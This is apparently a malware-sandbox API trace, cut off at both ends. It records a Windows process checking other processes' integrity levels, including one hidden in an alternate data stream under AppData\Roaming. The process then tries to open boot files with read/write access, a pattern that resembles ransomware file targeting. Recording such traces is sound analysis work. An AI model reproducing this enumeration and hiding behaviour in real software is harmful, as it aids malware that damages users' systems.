TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.439] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.439] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.439] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1931629 [0260.439] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1931630 [0260.453] QueryFullProcessImageNameW (in: hProcess=0x1d8, dwFlags=0x0, lpExeName=0x1661910, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x15ffa50) returned 1 [0260.453] GetProcessTimes (in: hProcess=0x1d8, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.453] OpenProcessToken (in: ProcessHandle=0x1d8, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.453] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.453] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.453] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.453] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.462] QueryFullProcessImageNameW (in: hProcess=0x1dc, dwFlags=0x0, lpExeName=0x1661910, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin", lpdwSize=0x15ffa50) returned 1 [0260.463] GetProcessTimes (in: hProcess=0x1dc, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.463] OpenProcessToken (in: ProcessHandle=0x1dc, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.463] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.463] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.463] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.463] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x1931629 [0260.463] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x1931630 [0260.481] QueryFullProcessImageNameW (in: hProcess=0x1e0, dwFlags=0x0, lpExeName=0x9ef5f0, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe", lpdwSize=0x15ffa50) returned 1 [0260.481] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x17da620 [0260.482] GetProcessTimes (in: hProcess=0x1e0, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.482] OpenProcessToken (in: ProcessHandle=0x1e0, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.482] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.482] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.482] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.482] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.482] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.501] QueryFullProcessImageNameW (in: hProcess=0x1e4, dwFlags=0x0, lpExeName=0x9c3550, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe", lpdwSize=0x15ffa50) returned 1 [0260.501] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x17da938 [0260.501] GetProcessTimes (in: hProcess=0x1e4, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.501] OpenProcessToken (in: ProcessHandle=0x1e4, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.501] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.501] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.501] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.501] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.501] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.529] QueryFullProcessImageNameW (in: hProcess=0x1e8, dwFlags=0x0, lpExeName=0x1676798, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", lpdwSize=0x15ffa50) returned 1 [0260.529] GetProcessTimes (in: hProcess=0x1e8, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.529] OpenProcessToken (in: ProcessHandle=0x1e8, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.529] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.529] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.529] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.529] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.547] QueryFullProcessImageNameW (in: hProcess=0x1ec, dwFlags=0x0, lpExeName=0x9c3248, lpdwSize=0x15ffa50 | out: lpExeName="C:\\Windows\\System32\\Locator.exe", lpdwSize=0x15ffa50) returned 1 [0260.547] GetProcessTimes (in: hProcess=0x1ec, lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58 | out: lpCreationTime=0x15ffa50, lpExitTime=0x15ffa58, lpKernelTime=0x15ffa58, lpUserTime=0x15ffa58) returned 1 [0260.547] OpenProcessToken (in: ProcessHandle=0x1ec, DesiredAccess=0x8, TokenHandle=0x15ffa24 | out: TokenHandle=0x15ffa24*=0x1f0) returned 1 [0260.547] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x15ffa20 | out: TokenInformation=0x0, ReturnLength=0x15ffa20) returned 0 [0260.547] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x1931620 [0260.547] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x1931620, TokenInformationLength=0x14, ReturnLength=0x15ffa20 | out: TokenInformation=0x1931620, ReturnLength=0x15ffa20) returned 1 [0260.547] GetSidSubAuthorityCount (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1931629 [0260.547] GetSidSubAuthority (pSid=0x1931628*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1931630 [0260.575] QueryDosDeviceW (in: lpDeviceName="C:", lpTargetPath=0x165cd50, ucchMax=0x200 | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0260.576] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1791650 [0260.576] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.577] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.577] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\cs-CZ", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.578] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.578] GetLastError () returned 0x5 [0260.578] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\da-DK", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.578] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.579] GetLastError () returned 0x5 [0260.579] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\de-DE", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.579] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.580] GetLastError () returned 0x5 [0260.580] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\el-GR", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.580] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.580] GetLastError () returned 0x5 [0260.580] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\en-US", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.581] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.581] GetLastError () returned 0x5 [0260.581] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\en-US", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.581] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.581] GetLastError () returned 0x5 [0260.582] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\es-ES", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.582] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.582] GetLastError () returned 0x5 [0260.582] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\fi-FI", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.583] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.583] GetLastError () returned 0x5 [0260.583] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.583] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.584] GetLastError () returned 0x5 [0260.677] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.677] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.677] GetLastError () returned 0x5 [0260.677] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.678] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.678] GetLastError () returned 0x5 [0260.678] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.678] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.678] GetLastError () returned 0x5 [0260.679] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.679] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.679] GetLastError () returned 0x5 [0260.679] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\fr-FR", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.680] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.680] GetLastError () returned 0x5 [0260.680] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\hu-HU", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.680] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.680] GetLastError () returned 0x5 [0260.681] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\it-IT", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.681] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.681] GetLastError () returned 0x5 [0260.681] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ja-JP", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.682] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.682] GetLastError () returned 0x5 [0260.682] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ko-KR", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.682] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.682] GetLastError () returned 0x5 [0260.683] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\nb-NO", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.683] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.683] GetLastError () returned 0x5 [0260.683] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\nl-NL", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.684] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.684] GetLastError () returned 0x5 [0260.684] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pl-PL", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.684] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.684] GetLastError () returned 0x5 [0260.685] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pt-BR", lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x15ffb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0260.685] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: 